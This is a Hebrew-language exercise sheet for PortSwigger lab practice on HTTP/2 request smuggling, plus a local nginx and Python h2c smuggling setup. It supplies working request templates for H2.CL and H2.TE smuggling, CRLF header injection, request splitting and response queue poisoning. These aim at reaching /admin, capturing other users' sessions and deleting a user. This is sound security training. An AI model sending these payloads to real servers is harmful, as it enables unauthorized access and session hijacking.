לדלג לתוכן

תקיפות HTTP/2 - תרגול

הקדמה

התרגולים מבוססים על מעבדות PortSwigger Web Security Academy בנושא HTTP/2 Request Smuggling. כל המעבדות דורשות שימוש ב-Burp Suite עם תמיכת HTTP/2 (גרסה 2023 ומעלה).


תרגיל 1 - הברחת H2.CL בסיסית (Practitioner)

מעבדה: H2.CL request smuggling

משימה:
1. פתחו את המעבדה ב-Burp Suite עם HTTP/2 מופעל
2. שלחו בקשת POST ב-HTTP/2 עם content-length: 0 ובגוף הבקשה הוסיפו בקשת GET מוברחת
3. הגישו גישה ל-/admin דרך ההברחה
4. מחקו את המשתמש carlos

רמז: ב-Burp Repeater, בחרו HTTP/2 ושלחו:

:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: <lab-url>

תרגיל 2 - הברחת H2.TE (Practitioner)

מעבדה: H2.TE request smuggling

משימה:
1. שלחו בקשת HTTP/2 עם כותרת transfer-encoding: chunked
2. השרת החזיתי לא אמור לאפשר כותרת זו ב-HTTP/2, אבל אם הוא מעביר אותה - יש חולשה
3. הבריחו בקשה ל-/admin

רמז:

:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: <lab-url>

תרגיל 3 - הזרקת CRLF בכותרות HTTP/2 (Practitioner)

מעבדה: HTTP/2 request smuggling via CRLF injection

משימה:
1. השתמשו בהזרקת CRLF בכותרת HTTP/2 כדי להוסיף כותרת Transfer-Encoding
2. הכותרת תעבור ל-HTTP/1.1 בתרגום
3. הבריחו בקשה שתלכוד את ה-session של משתמש אחר

רמז: ב-Inspector של Burp, ערכו כותרת כך שהערך יכלול \r\nTransfer-Encoding: chunked:

:method: POST
:path: /
:authority: <lab-url>
foo: bar\r\nTransfer-Encoding: chunked

תרגיל 4 - פיצול בקשות דרך CRLF (Practitioner)

מעבדה: HTTP/2 request splitting via CRLF injection

משימה:
1. הזריקו CRLF בכותרת פסאודו כדי לפצל את הבקשה לשתיים
2. הבקשה השנייה צריכה לפנות ל-/admin
3. לכדו את התגובה

רמז: הזריקו בגוף כותרת HTTP/2:

foo: bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: <lab-url>

תרגיל 5 - הרעלת תור תגובות (Expert)

מעבדה: Response queue poisoning via H2.TE request smuggling

משימה:
1. השתמשו בהברחת H2.TE כדי לגרום ל-desync בתור התגובות
2. הבקשה המוברחת צריכה להיות בקשה מלאה שתקבל תגובה משלה
3. התגובה של הקורבן הבא תגיע אליכם, והתגובה שלכם תגיע לקורבן
4. לכדו טוקן session ומחקו את carlos

רמז: הבריחו בקשה מלאה (כולל כל הכותרות) כדי שהשרת יחזיר שתי תגובות לחיבור אחד - התגובה הראשונה תהיה לבקשה המוברחת, והשנייה תהיה התגובה שמיועדת לקורבן.


תרגיל 6 - h2c Smuggling (מתקדם - לא PortSwigger)

משימה עצמאית:

הקימו סביבת בדיקה מקומית עם nginx כ-reverse proxy ושרת Python מאחוריו:

# nginx.conf
server {
    listen 80;
    location / {
        proxy_pass http://backend:8080;
        # שים לב: proxy_set_header Upgrade לא מוגדר
    }
    location /admin {
        return 403;
    }
}
# backend.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(f"Path: {self.path}".encode())

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
  1. בדקו אם nginx מעביר את כותרת Upgrade: h2c
  2. נסו לבצע h2c smuggling עם הכלי h2csmuggler
  3. גשו ל-/admin דרך חיבור h2c

תרגיל 7 - כתיבת סקריפט בדיקת HTTP/2

כתבו סקריפט Python שמבצע את הבדיקות הבאות:

#!/usr/bin/env python3
"""
כתבו סקריפט שבודק:
1. האם השרת תומך ב-HTTP/2
2. האם ניתן לשלוח Content-Length ב-HTTP/2
3. האם ניתן לשלוח Transfer-Encoding ב-HTTP/2
4. האם ניתן להזריק CRLF בכותרות HTTP/2
5. האם השרת מקבל שדרוג h2c

השתמשו בספרייה hyper או h2 של Python.
"""

משאבים נוספים

  • PortSwigger Research - HTTP/2: The Sequel is Always Worse: https://portswigger.net/research/http2
  • כלי h2csmuggler: https://github.com/BishopFox/h2csmuggler
  • HTTP/2 RFC 7540: https://tools.ietf.org/html/rfc7540